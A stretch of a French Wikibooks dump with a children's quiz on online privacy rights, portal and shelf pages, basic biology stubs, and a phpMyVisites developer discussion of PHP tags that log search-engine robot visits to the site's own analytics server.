concerts de cette chanteuse ? #Non, vous n'avez pas été prévenu de ces envois d'emails. #<s>Oui, vous auriez dû vous en douter, il y a toujours un piège.</s> #<s>Non, mais ce n'est pas important.</s> *Vous avez créé un blog ou un site Web personnel, avez-vous le droit de diffuser des noms ou des photos de personnes ? #<s>Oui, sans problèmes, il n'y a aucune loi qui l'empêche.</s> #Oui, mais seulement avec l'accord de ces personnes et qu'elles puissent à tout moment modifier ou supprimer les choses qui les concerne. #<s>Non, c'est interdit.</s> *Pour vous inscrire à un chat ou un salon de bavardage, on vous demande de remplir un formulaire avec vos coordonnées (nom, prénom, adresse, ville, courriel, etc). Est-ce qu'on peut donner vos coordonnées à une société pour vous faire parvenir des publicités ou des coupons de remises par la poste ? #<s>Bien sûr, ça ne vous dérange pas, ce n'est que de la publicité.</s> #<s>Non, vous êtes introuvables et anonyme sur Internet.</s> #Jamais, vous n'avez pas demandé à connaître les produits de cette société. *Vous êtes inscrit sur un forum avec un pseudo. Est-ce que vous pouvez écrire des critiques à une personne concernant sa race, son sexe, son comportement sexuel ou sa religion ? #<s>Bien sûr, rien n'empêche de s'exprimer et ça ne peut faire de mal à personne.</s> #<s>Non, c'est puni par la loi mais vous ne risquez rien car vous utilisez un pseudo.</s> #Non, c'est puni par la loi et vous pouvez être retrouvé grâce à des traces numériques. Accueil/Technologies 5620 25967 2005-11-24T16:23:30Z Marc 66 __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Technologies== ====Industrie==== * [[Tribologie - Couverture|Tribologie]] (science du frottement) [[Image:100%.png]] * [[ressort|Les ressorts]] [[Image:50%.png]] ====Matériaux==== * [[Acier inoxydable]] [[Image:50%.png]] * [[Verre]] [[Image:25%.png]] * [[Tri sélectif des emballages ménagers]] [[Image:100%.png]] <br clear="all" /> </div> {{ÉtatDesWikilivres}} Accueil/Livrets techniques 5621 28703 2006-01-11T19:48:37Z 82.245.232.25 __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Livrets techniques== ====Mécanique==== * [[Mécanique automobile|Entretien des automobiles]] [[Image:00%.png]] * [[Mécanique vélo]] [[Image:00%.png]] * [[Batterie d'accumulateurs|Les batteries d'accumulateurs, entretien et précautions d'emploi]] [[Image:100%.png]] ====Éconologie==== * [[Habitation éconologique]] [[Image:25%.png]] - <br clear="all" /> </div> {{ÉtatDesWikilivres}} Accueil/Divers 5622 27285 2005-12-21T23:38:05Z François Haffner 951 __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Divers== * [[Acheter sur Internet]] [[Image:50%.png]] * [[Activités pour enfants]] [[Image:00%.png]] * [[Apprentissage du patin en ligne]] [[Image:25%.png]] * [[Boîte à jeux]] [[Image:50%.png]] * [[Bricolage]] [[Image:50%.png]] * [[Faire un enduit lissé traditionnel]] * [[Jardinage]] [[Image:25%.png]] * [[Jeu vidéo]] * [[Livre de Cuisine]][[Image:50%.png]] * [[Peinture en bâtiment]] [[Image:25%.png]] * [[Puzzles]] * [[Solution, truc et astuce de jeu vidéo]] * [[Traditions Populaires]] [[Image:25%.png]] ====Sciences ésotériques==== * [[La Numérologie]] [[Image:25%.png]] <br clear="all" /> </div> {{ÉtatDesWikilivres}} B2i niveau 2 : culture informatique 5623 24521 2005-10-28T21:42:42Z Greudin 1 /* Liens externes */ ++ {{ébauche}} Les activités d'apprentissage du [[B2i]] concernant la '''culture informatique''' porte sur les compétences 2.1 à 2.6 à intégrer dans le programme des disciplines. =Base du vocabulaire spécifique de l'informatique [[B2i|Compétence 2.1]]= ==Matériel informatique== ==Logiciel== ==Traitement logiciel== ==Internet== =Cheminement de l'information et ses transformations [[B2i|Compétence 2.2]]= =Ordres de grandeur usuels des caractéristiques des ordinateurs et périphériques [[B2i|Compétence 2.3]]= =Informations numérisées et interprétation [[B2i|Compétence 2.4]]= =Traitements réalisés par une machine [[B2i|Compétence 2.5]]= =Lois relatives aux utilisations d'informations nominatives [[B2i|Compétence 2.6]]= ==Liens externes== *[http://www.cnil.fr/index.php?id=13 Espace junior de la Commission nationale de l'informatique et des libertés] *[http://www.droitdunet.fr/juniors/ droitdunet.fr/junior] *[http://www.skyblog.com/include/aide_popup.phtml Aide Skyblog] Accueil/Présentation 5624 47159 2006-07-03T07:06:23Z Alveric 1610 /* Libérez le savoir ... */ orthographe, ponctuation ==Présentation== [[Image:Wikilivres logoA.png|200px|left]] :'''[[Wikilivres:Wikilivres|Wikilivres]] (Wikibooks)''' est un ensemble de textes pédagogiques au [[w:fr:contenu libre|contenu libre]] et [[w:fr:gratuité|gratuit]] commencé le 10 juillet 2003. Le projet compte à l'heure actuelle '''{{NUMBEROFARTICLES}}''' livres dans plusieurs dizaines de sections. Vous pouvez [[Wikilivres:Comment modifier une page|participer]] ou vous entraîner dans le [[Wikilivres:Bac à sable|bac à sable]]. Faites part de vos questions, problèmes ou suggestions au [[Wikilivres:Le Bistro|bistro]]... == Libérez le savoir ... == Êtes-vous professeur, étudiant, lycéen, collégien ? Si oui, alors libérez votre savoir... Étudiants en droit, math, philo, littérature, langues mortes et vivantes, chimie, physique, technologie de l'information, comptabilité, science médico-sociale, lycéens, collégiens, BTS, doctorants... Créez vos cours dans la [[Wikiversité]] de Wikilivres (Wikibooks). Sans fioriture, sans mise en page recherchée, créez seulement les cours complets, ou au moins une matière, sur Wikilivres ... Pourquoi ? Il y a plein de raison valables pour participer : # C'est simple, # Retaper un texte aide à le mémoriser, # Le contenu d'un cours est par définition pédagogique, # C'est gratuit, # C'est libre. Donc, vous libérez du savoir pour tout le monde. Vous n'avez pas le temps de tout retaper, mais on vous dit que vous avez une belle écriture? Utilisez un logiciel de reconnaissance de caractères pour dégrossir le travail : scannez vos cours (dans une résolution correcte, en noir et blanc si la couleur n'est pas nécessaire) et chargez-les sur wikimedia... Quelqu'un se chargera de les intégrer au site. N'oubliez pas de demander l'autorisation de diffusion du cours auprès de votre professeur qui en est l'auteur. Commencez par vos cours de l'année dernière, vous êtes sûr qu'ils sont complets. Vous en savez bien plus que vous ne pensez... Merci d'avance, L'équipe de Wikilivres. Accueil/Bibliothèque 5625 44672 2006-06-16T13:45:50Z Boly38 136 REVERT : éconologique est un mot qui existe : http://fr.wikipedia.org/wiki/%C3%89conologie ==Bibliothèque== Voici une sélection thématique de quelques livres. D'autres livres peuvent être consultés en suivant les liens « autres livres de l'étagère ». Veuillez aussi consulter la [[Wikilivres:Liste de tous les livres|liste complète des livres]]. <!-- - [[Wikilivres:Pourquoi ouvrir un de ces livres ?|Pourquoi ouvrir un de ces livres ?]] - [[Wikilivres:Pourquoi contribuer au projet Wikilivres ?|Pourquoi contribuer au projet Wikilivres ?]] --> ====Sciences de la nature et sciences exactes==== [[S'initier au boulier en 10 leçons|S'initier au boulier]] - [[Biochimie]] - [[Approfondissements de lycée]] - [[Chimie générale]] - [[Math%C3%A9matiques_niveau_seconde|Mathématiques niveau seconde (France)]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Sciences de la nature et sciences exactes|livres de cette étagère ]]'''</div> ====Sciences humaines et sociales==== [[Symboles de l'Alphabet Phonétique International utilisés dans la transcription du français|Alphabet phonétique]] - [[Petit guide de transcription phonétique|La transcription phonétique]] - [[Manuel de philosophie (terminale)|Manuel de philosophie]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Sciences humaines et sociales|livres de cette étagère ]]'''</div> ====Arts==== [[Blender3D]] - [[Photographie]] - [[Dessin]] - [[Peinture]] - [[Bases de solfège|Les bases du solfège]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Arts|livres de cette étagère ]]'''</div> ====[[:Catégorie:Langue|Langues]]==== [[Enseignement de l'anglais|Anglais]] - [[Enseignement du polonais|Polonais]] - [[Phrases usuelles en différentes langues|Phrases usuelles]] - [[Dire merci dans le monde]] - [[Dire bonne année dans le monde]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Langues|livres de cette étagère ]]'''</div> ====Informatique==== [[Programmation]] - [[Programmation_C|Langage C]] - [[Programmation_Java|Langage Java]] - [[Programmation_PHP|Langage PHP]] - [[Programmation Logo|Logo]] - [[Réseaux TCP/IP|Les réseaux TCP/IP]] - [[Programmation SQL|Langage SQL]] - [[Fonctionnement_de_l'IRC|Apprendre l'IRC]] - [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] - [[Découverte de MySQL, PostgreSQL et Oracle]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Informatique|livres de cette étagère ]]'''</div> ====Technologies==== [[Tri sélectif des emballages ménagers]] - [[Tribologie - Couverture|Tribologie]] - [[ressort|Les ressorts]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Technologies|livres de cette étagère ]]'''</div> ====Livrets techniques==== [[Batterie d'accumulateurs|Les batteries d'accumulateurs, entretien et précautions d'emploi]] - [[Habitation éconologique]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Livrets techniques|livres de cette étagère ]]'''</div> ====Divers==== [[Solution, truc et astuce de jeu vidéo]] - [[Puzzles]] - [[Faire un enduit lissé traditionnel]] <div style="font-size:80%; text-align:right;">'''Autres [[Accueil/Divers|livres de cette étagère ]]'''</div> Accueil/Nouveautés 5626 43842 2006-06-04T10:06:51Z 86.211.198.235 /* Livres récemment créés */ ==Livres récemment créés== * [[Rêve lucide]] * [[Guide du vélo en ville]] * [[Astérix]] * [[Construire sa maison]] * [[Découverte de MySQL, PostgreSQL et Oracle]] * [[Managed_C_Plus_Plus_Guide|Guide du C++ managé]] * [[Histoire de l'Europe]] * [[Tribologie]] * [[Photographie]] * [[Histoire des États-Unis d'Amérique]] * [[Histoire de la France médiévale]] * [[Vêtements]] Accueil/Lumière Sur 5627 45232 2006-06-19T15:24:49Z 81.56.32.94 /* Lumière sur */ orthographe ==Lumière sur== [[Image:Flag of Poland.svg|left|64px|Drapeau de la Pologne]] La '''[[Enseignement du polonais|langue polonaise]]''' est membre du groupe '''slave occidental''' de la famille de langues [[w:Indo-européen|Indo-européennes]]. Elle est plus facile à apprendre si l'on connaît déjà une autre langue reliée. Celles qui en sont le plus fermement reliées sont les autres [[w:Langue slave|langues slaves]] occidentales : le [[w:Langue tchèque|tchèque]], le [[w:Langue slovaque|slovaque]] et le [[w:Langue Kashubian|Kashubian]]. Plus éloignées sont les langues slaves méridionales et orientales comme le [[w:Langue russe|russe]], l'[[w:Langue ukrainienne|ukrainien]], et le [[w:Langue serbo-croate|serbo-croate]]. Plus éloignées, mais encore avec quelquechose de similaire sont les [[w:Langue balte|langues baltes]] : le [[w:langue lettonne|letton]] et le [[w:Langue lithuanienne|lithuanien]]. Accueil/Informations 5628 40747 2006-04-22T11:51:38Z Greudin 1 /* Information */ ==Information== [[Image:WikiJunior logo-200px.PNG|right|100px|Logo Wikijunior]] * Le projet '''[[Wikijunior]]''' consiste à réaliser une bibliothèque de wikilivres pédagogiques et un magazine à destination des enfants. * La '''[[Wikiversité]]''' propose du matériel pédagogique. C'est une université virtuelle communautaire, collaborative, libre et gratuite. Des cours en ligne sont créés ici comme dans le [[Wikiversité:Département informatique|département informatique]] et la [[Wikiversité:Faculté de chimie|faculté de chimie]] Accueil/À propos 5629 23641 2005-10-17T19:51:51Z Dake 577 ==À propos de Wikilivres== * [[Wikilivres:Wikilivres|À propos de Wikilivres]] * [[Wikilivres:Pourquoi ouvrir un de ces livres ?|Pourquoi ouvrir un de ces livres ?]] * [[Wikilivres:Pourquoi contribuer au projet Wikilivres ?|Pourquoi contribuer au projet Wikilivres ?]] * [[Wikilivres:Aide|Aide]] * [[Wikilivres:Foire_aux_questions|Foire aux questions]] * [[Projet:Charte_pédagogique|Charte pédagogique]] * [[Wikilivres:Revue_de_presse|Revue de presse]] Accueil/Informatique 5630 42654 2006-05-17T14:40:02Z Cdang 1202 classement catég __NOTOC__ {| width="100%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="lightblue" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="lightblue" valign="top" width="90%" align="center" | <font size="+1">L'étagère Informatique de [[Accueil|Wikilivres]]</font> |- |} |} {| width="100%" align="left" valign="top" | width="50%" style="vertical-align:top" | {{Sous section|nom=Accueil/Informatique/Rayon_Programmation|couleur=#F0F000|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Informatique/Rayon_BD|couleur=#F000F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Informatique/Rayon_Logiciels_Libres|couleur=#00F0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} | style="vertical-align:top" | {{Sous section|nom=Accueil/Informatique/Rayon_ASR|couleur=#0000F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Informatique/Rayon_Administration|couleur=#F00000|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Informatique/Rayon_Guides|couleur=darkblue|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Informatique/Rayon_Divers|couleur=#F0F0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} |} <br clear="all"> {{ÉtatDesWikilivres}} [[catégorie:Informatique|*]] Modèle:CompactTOC 5635 23705 2005-10-19T16:18:27Z Vrykolaka 94 <nowiki>__NOTOC__</nowiki> en plus '''{{MediaWiki:Toc}}:''' [[#top|Top]] - [[#0–9|0–9]] [[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I|I]] [[#J|J]] [[#K|K]] [[#L|L]] [[#M|M]] [[#N|N]] [[#O|O]] [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] [[#T|T]] [[#U|U]] [[#V|V]] [[#W|W]] [[#X|X]] [[#Y|Y]] [[#Z|Z]] __NOTOC__ Mishne Torah 5637 23711 2005-10-19T18:34:43Z Dovi 507 redirect #REDIRECT [[:s:Mishne Torah]] Mishnah 5638 23712 2005-10-19T18:36:25Z Dovi 507 redirect #REDIRECT [[:s:Mishnah]] Système nerveux 5639 23793 2005-10-21T11:22:34Z Nicombo 684 /* Systeme nerveux autonome */ Le Système nerveux humain peut etre decrit comme l'addition de de systemes complementaires : le systeme nerveux central (cerveau et moelle epiniere) et le systeme nerveux peripherique (les nerfs). ===Systeme nerveux central=== Se compose de la moelle épinière et du cerveau. ===Système nerveux peripherique=== Sert a la collection, au transport et a la distribution de l'information entre le systeme nerveux central et le reste de l'organisme. ====Neurone==== Un neurone est une cellule du systeme nerveux dont la fonction est de recevoir des informations (sous la forme d'influx nerveux), de les modifier et de les transmettre. Il se compose d'un corps cellulaire, de dendrites et d'un axone. * Le corps cellulaire contient le materiel de base d'une cellule afin de la faire vivre et de fabriquer les composants necessaires a la transmission de l'influx nerveux (neurotransmetteurs entre autre). * Les dendrites sont des prolongements nombreux, partant du corps cellulaire, plus ou moins longs. Il recoivent l'influx nerveux via les synapses presentes a leur surface et le transmettent au corps cellulaire. * L'axone est un prolongement unique ressemblant aux synapses mais qui, lui, transmet l'influx nerveux vers d'autres neurones, via les synapses situees a son extremitee. Comme pour les dendrites, sa longueur va du micrometre au metre selon les neurones. ====Synapse==== Entre l'axone d'un neurone et le dendrite d'un autre, il se cree une connexion appelee synapse. A cet endroit, les membranes cellulaires des deux celules sont tres proches. L'espace entre elles est la fente synaptique. L'influx nerveux arrive sous forme electrique le long de la membrane du dendrite (membrane présynaptique). Il provoque une liberation de molecules particuliere, les neurotransmetteurs, dans la fente synaptique. Les neurotransmetteurs sont captes par la membrane de l'axone (membrane postsynaptique), ce qui provoque la creation d'un influx electrique qui peut se propager le long de la membrane de l'axone. Un tel systeme permet de modifier le signal pendant son passage sous forme chimique : on peut le renforcer en empechant par exemple la degradation des neurotransmetteurs. Ou le diminuer en bloquant les recepteurs... C'est le lieu d'action de nombreux medicaments. ====Potentiel d'action==== L'influx electrique qui se propage dans les dendrites et les axones est d'une forme particuliere. L'organisme ne peut pas juste laisser les electrons se propager comme dans un fil electrique. A cause de la resistance, le signal serait affaibli et perdu tres vite. Quand un signal arrive a un neurone, (sous forme mecanique, chimique, thermique, etc) il provoque ce qu'on appelle une depolarisation. Des canaux s'ouvrent dans la membrane cellulaire, ce qui provoque le passage d'ions. La difference de potentiel electrique entre l'interieur et l'exterieur de la cellule change localement. Cela provoque une ouverture des canaux ioniques adjacents, qui provoquent une depolarisation, et le signal se transmet ainsi. Une fois qu'un canal a ete ouvert, il se referme et refuse de s'ouvrir pendant un moment. Ainsi le signal ne repart pas en arriere mais progresse le long de la membrane. Cette depolarisation breve et mobile est appelee un potentiel d'action. Un potentiel d'action garde la meme intensite tout le long de son trajet. Il se deplace a une vitesse donnee pour un neurone (mais qui peut varier selon les neurones). En transmettant plus ou moins de potentiels d'actions, on peut coder un message (un peu comme du morse). ====Nerf==== Les corps des neurones sont situes dans le systeme nerveux central (dans la substance grise plus precisement) Les axones et dendrites quittant le systeme nerveux central sont regroupes en amas, en cables, qui se dispersent pour innerver tout l'organisme. ===Systeme nerveux autonome=== Le système nerveux autonome est responsable des fonctions automatiques assurées par le système nerveux. Il est divisé en deux systèmes aux fonction opposées, le système nerveux sympathique et le système nerveux parasympathique. Sang et milieu intérieur 5640 23728 2005-10-19T23:53:18Z 131.251.0.8 ===Système circulatoire=== La circulation sanguine est le grand convoyeur. C'est par là que se font tous les échanges de matière entre les régions du corps. Oxygène, dioxyde de carbone, nutriments, urée, hormones, tout les besoins et les déchets de l'organisme passent par le sang... Le système circulatoire comprend plusieurs parties et collaborateurs : *'''Le coeur''' est tout simplement la pompe qui insuffle l'énergie afin que le sang circule, ce qui est le prémisse de ce système. À titre infomratif, un coeur fait à peu près la taille d'une grosse orange. *'''Les artères''' sont tous les vaisseaux qui partent du coeur. Elles transportent du sang oxygéné (sauf les artères pulmonaires) et riche en nutriments. Elles se divisent en devenant de plus en plus petites pour aboutir aux capillaires. *'''Les veines''' sont les vaisseaux qui transportent le sang depuis les capillaires jusqu'au coeur. Elles transportent du sang pauvre en oxygène (sauf les veines pulmonaires) et chargé de déchets. *'''Les capillaires''' sont de tout petits vaisseux tres nombreux qui font le lien entre les artere et les veines. C'est dans les capillaires que le sang peut remplir sa fonction. Il y circule lentement, en petite quantité. Les échanges peuvent se faire grace a leur paroi tres fine. *'''Les lymphatiques''' *'''Les reins''' ont pour rôle principal de filtrer le sang afin d'éliminer via l'urine les déchets du métabolisme. *'''Le foie''' transforme à peu près tout ce qui passe par lui. Il a une grand influence sur la composition du sang. *'''L'intestin''' fait le lien entre le milieu extérieur (la nourriture) et le sang. Il se charge de transformer ce dont on a besoin de manière à ce que cela soit transportable par le sang. Il filtre ce qui ne doit pas pénétrer dans l'organisme. *'''La rate''' Documentation phpMyVisites/Réflexions version2/SearchEnginesDetection 5641 25427 2005-11-12T22:14:28Z 84.99.233.209 /* MCD */ === description === Fonctionnalité qui serait vraiment très intéressante. Via un tag en PHP, collé après ou avant le tag javascript (et non pas dans le noscript car ce noscript n'est pas executé par tous les moteurs de recherche !!), on enregistre les logs des visiteurs détectés comme étant des moteurs de recherche. Liste des moteurs connus disponibles sur robots.net/robots.txt ou semblant. Faire une liste des moteurs assez exhaustive tant que possible, sans bien sûr prendre en compte les robots qui ne sont pas des moteurs de recherche (toutes saloperies diverses :)) Une fois les logs des robots enregistrés (forme des logs à déterminer), avec le plus d'informations possibles (que nous fournit php donc, car les infos JavaScript ne sont pas dispos), on crée des rapports sur la visite des robots qui sont intégrés à phpMyVisites. Pour créer les rapports il faut bien sûr faire un archivage dans le même esprit que celui de phpmyvisites. On parcourt les logs pour enregistrer toutes les données sous forme préformatées, la plupart du temps sous forme de tableaux php sérialisés. On profite alors de toute l'architecture de base de l'appli. Ce module serait accessible via un nouveau menu « Moteurs ». Présentation contenu à déterminer. Les stats disponibles pourraient être (à compléter par de bonnes idées) * par robot différent :* nombre de visites dans la période :* nombre de pages vues dans la période :* liste des pages vues par URL physique, avec possibilité d'exclure des paramètres définis OU de ne prendre en compte que certains des paramètres des URLs (définition de ces paramètres dans l'administration) :* heure de visites de chaque robot :*autres ? * globalement :* nb de visites/nombre de pages vues :* heures de passage :* graphique camembert de répartition de l'activité des robots en nb de pages vues sur la période (Google bot : 70%, MSN : 20%, etc.) (utiliser bien sûr la lib déjà utilisée dans phpmv) :* autres ? * Autre données.. idées dans la salle ? Au niveau logs, calculs, archivages : il faut à mon avis internaliser le process à phpmyvisites directement. * On log à partir du moment où le tag php appelle le script, normal. * On calcule les données relatives aux robots au moment de l'archivage des stats classiques. Les robots ont a mon avis une propre table d'archivage spécifique. Les pages qu'ils ont vues sont caractérisées par des ID reliées aux URL dans une table crée et alimentée lors de l'archivage. On utilise le même principe de nommage des pages, sauf que en plus de la variable javascript pagename qui contient le nom de la page, on assigne également une variable php $namepage qui sera utilisée à la place de l'URL pour savoir quelles pages ont visitées les roboots. Si ce nom n'est pas renseigné, on utilise l'url brute, mais ça peut faire mal si le site a 10000 urls différentes (de Mo de textes en base qui font mal). ===Allure du code php=== <?php $pagename = ''; // valeur a remplir, sinon l'URL sera utilisée include "http://www.site.com/phpmyvisites/searchengines.php"; ?> :Le tag devra plutôt être de la forme : <?php $pagename = ''; // valeur a remplir, sinon l'URL sera utilisée include "/data/members/paid/l/e/monsite.com/htdocs/www/phpmyvisites/searchengines.php"; ?> :car il faut que le fichier travail en local. L'adresse sera calculée lors de l'installation.--[[Utilisateur:Jidébé|Jidébé]] 22 jul 2005 à 22:53 (UTC) ::En fait j'ai réfléchi et mieux vaut que le code print une image du style <?php $pagename = ''; // valeur a remplir, sinon l'URL sera utilisée print("<img src=\"http://site.com/phpmv/searchengines.php?para1=TOTO&param2=".$_SERVER['truc']");; ?> ::non ? ::tout dépend en fait des infos qu'on ne peut prendre que via php (pas grand chose normalement), qu'en penses tu ? [[Utilisateur:Matthieu|Matthieu Aubry]] 22 jul 2005 à 23:57 (UTC) ::Là, tu m'intéresse. C'est effectivement une bonne idée et probablement la solution aux sites hébergés sur un autre serveur que phpMyVisites. je vais tester ça.--[[Utilisateur:Jidébé|Jidébé]] 23 jul 2005 à 09:17 (UTC) Voila un tag qui devrait fonctionner : <?php $pagename = ''; // valeur a remplir, sinon l'URL sera utilisée $_SERVER = $HTTP_SERVER_VARS; // ligne inutile ! $url = $_SERVER['REQUEST_URI']; $url = urlencode($url); // mettre les urlencode directement au dessus urlencode($_SERVER['REQUEST_URI']); $ip = $_SERVER['REMOTE_ADDR']; $agent = $_SERVER['HTTP_USER_AGENT']; $agent = urlencode($agent); print("<img src=http://www.site.com/phpmv/searchengines.php?url=$url&amp;ip=$ip&amp;agent=$agent>"); ?> Je suis en train de le tester.--[[Utilisateur:Jidébé|Jidébé]] 23 jul 2005 à 16:11 (UTC) :ok tiens moi au courant ! [[Utilisateur:Matthieu|Matthieu Aubry]] 24 jul 2005 à 11:10 (UTC) :: [[Utilisateur:Marco|Marco]] => La piste de l'image est une fausse piste, les robots ne vont pas l'appeller, en tout acs très rarement. Il faut utiliser un formulaire http et l'envoyer à l'aide de fsockopen, fputs, fclose, il y a des exemples dans mon code d'intérogation des fai (http://www.webmaster-experience.net/telechargement/avfpp.tar.gz). On pourrait aussi utiliser curl mais ce n'est pas présent chez beaucoup d'hébergeurs.Il ne me semble pas utile d'utiliser urlencode. Cela permet d'avoir un tag php qui fonctionne même si le site audité n'est pas sur le même serveur que phpMyVisites. On peut immaginer dans l'avenir fournir des tags en java, asp... La solution noscript, comme celle de l'image est à écarter. Ensuite il faut bien voir comment détcter les robots, il faut trouver une solution pérenne et si on passe par une liste récuperé sur un site il faut bien vérifier que la licence d'utilisaton soit compatible. ::: [[Utilisateur:Marco|Marco]] Après reflexion, l'idée de faire une requête http me parait pas très judicieuse car ça va vraiment ralentir l'affichage. Je suis pour mettre un tag php uniquement dans le cas où le site audité est sur le même serveur. :::: [[Utilisateur:Matthieu|Matthieu]] 26 jul 2005 à 17:28 (UTC) moi je suis contre le fait que le script doit être sur le serveur, ce n'est pas du tout pratique et c'est contre la politique actuelle de phpmyvisites qui est de tout centraliser dans le /phpmyvisites/. On oblige les webmasters à mettre le tag php juste avant </html> point final, ça ne ralentira pas les page comme ça. Et une requete http aussi basique que celle là ne doit vraiment pas poser problème je pense (a vérifier par des tests) Pour la requète HTTP, à partir du code de Marco j'ai testé ça : <pre> <?php $url =urlencode($_SERVER['REQUEST_URI']); $ip = $_SERVER['REMOTE_ADDR']; $agent =urlencode($_SERVER['HTTP_USER_AGENT']); $variablescodees = "url=".$url."&ip=".$ip."&agent=".$agent; $urlphpmv = parse_url("http://www.monsite.com/phpmyvisites/searchengine.php"); $fp = fsockopen($urlphpmv['host'],80); if(!$fp) { echo"probleme"; } fputs($fp,sprintf("POST %s%s%s HTTP/1.0\n",$urlphpmv['path'])); fputs($fp, "host: {$urlphpmv['host']}\n"); fputs($fp,"Content-type: application/x-www-form-urlencoded\n"); fputs($fp, "Content-length:".strlen($variablescodees)."\n"); fputs($fp,"Connection: close\n\n"); fputs($fp,"$variablescodees\n"); $ligne =fgets($fp); echo"$ligne"; fclose($fp); ?> </pre> Je n'ai pas d'affichage de "probleme", donc à priori la connection se fait, le echo"$ligne"; me donne : <pre> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> </pre> mais rien ne se passe (pas de prise en compte de la visite), pourquoi? ::--[[Utilisateur:Jidébé|Jidébé]] 28 jul 2005 à 08:44 (UTC)J'ai modifié mon tag comme ça : <pre> <?php $url =urlencode($_SERVER['REQUEST_URI']); $ip = $_SERVER['REMOTE_ADDR']; $agent =urlencode($_SERVER['HTTP_USER_AGENT']); $variablescodees = "url=".$url."&ip=".$ip."&agent=".$agent; $urlphpmv = parse_url("http://www.le-site-des-petits-brun.com/phpmyvisites/searchengines.php"); // initialition de l'entete $entete = "POST /phpmyvisites/searchengines.php HTTP/1.1\r\n"; $entete .= "Host: " . $urlphpmv['host'] . "\r\n"; $entete .= "Content-Type: application/x-www-form-urlencoded\r\n"; $entete .= "Content-Length: " . strlen($variablescodees) . "\r\n"; $entete .= "Connection: close\r\n\r\n"; $entete .= $variablescodees . "\r\n"; // ouverture de la connexion $socket = fsockopen($urlphpmv['host'], 80, $errno, $errstr); if($socket) // si connexion ok { fputs($socket, $entete); // envoi de l'entete fclose($socket); } ?> </pre> Si je le met sur une page de mon site ça marche, mais par contre si je le met sur un site hébergé sur un autre serveur (Multimania dans ce cas) ça ne marche pas. Quelqu'un a une idée? ::--[[Utilisateur:Jidébé|Jidébé]] 29 jul 2005 à 11:26 (UTC)Voila pourquoi ça ne marche pas : <pre> Warning: fsockopen, pfsockopen, show_source, php_uname, ini_get, ini_alter, ini_restore, ini_set, getrusage, mysql_list_dbs, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link, mb_send_mail() has been disabled for security reasons in /data/members/free/multimania/fr/s/h/e/shetlandor/htdocs/test2.php on line 67 </pre> Je crains donc qu'il n'y ai pas de solution universelle, peut-être il faudra proposer plusieurs forme de tag... Au niveau des fonctionnalités il faut voir ce que font les outils du marché : * webtrends derniere version * XITI (le fait il ?) * RobotStats (leader php je crois, mais il est naze) * AWStats * autre ? pour prendre leurs bonnes idées. On peut ajouter http://www.php-tools.de/site.php (patSpiderizer) en GPL Mais attention cette solution exige que le serveur audité comprenne le php et que phpMyVisites soit sur le même serveur. C'est contraignant et limitatif, prévoir une option pour que ce ne soit pas actif. Voir aussi quelles sont les limitations de noscript, ça peut être suffisant. === MCD (rubrique supprimée car jidébé à crée crawltrack.info) === Documentation phpMyVisites/CodingStandard 5643 23750 2005-10-20T16:19:23Z 134.214.105.205 = Coding Standard = == Pourquoi adopter un style commun ? == Extrait de http://www-portal-stage.oracle.com/technology/tech/opensource/PHP_Coding_Standard.htm '''Good Points''' When a project tries to adhere to common standards a few good things happen: * programmers can go into any code and figure out what's going on * new people can get up to speed quickly * people new to PHP are spared the need to develop a personal style and defend it to the death * people new to PHP are spared making the same mistakes over and over again * people make fewer mistakes in consistent environments * programmers have a common enemy :-) '''Bad Points''' Now the bad: * the standard is usually stupid because it was made by someone who doesn't understand PHP * the standard is usually stupid because it's not what I do * standards reduce creativity * standards are unnecessary as long as people are consistent * standards enforce too much structure * people ignore standards anyway == Pourquoi phpMyVisites n'impose pas un coding style 'standard' ? == Nous pensons que les coding guidelines sont trop parfois trop restrictives, et parfois incomplètes. Nous préférons donc faire un résumé de ce qui nous semble indispensable et important. Nous avons pour cela utilisé plusieurs guides différents (5 au total) et fait un résumé bilan des meilleures idées et concepts, pour présenter l'ensemble des règles suivantes. ''Les points non soulignés sont donc laissées à la liberté d'expression du développeur !'' == Introduction == Quelques notions introductives : * noms de fonctions, noms de variables, noms de classes et de méthodes, en '''''anglais''''' * fonctions documentées en anglais selon la norme javadoc, la documentation est générée par phpDocumentor * les commentaires au sein des fonctions sont à écrire en priorité en anglais. Si vraiment vous ne pouvez ou ne voulez pas, le français est autorisé. L'anglais reste 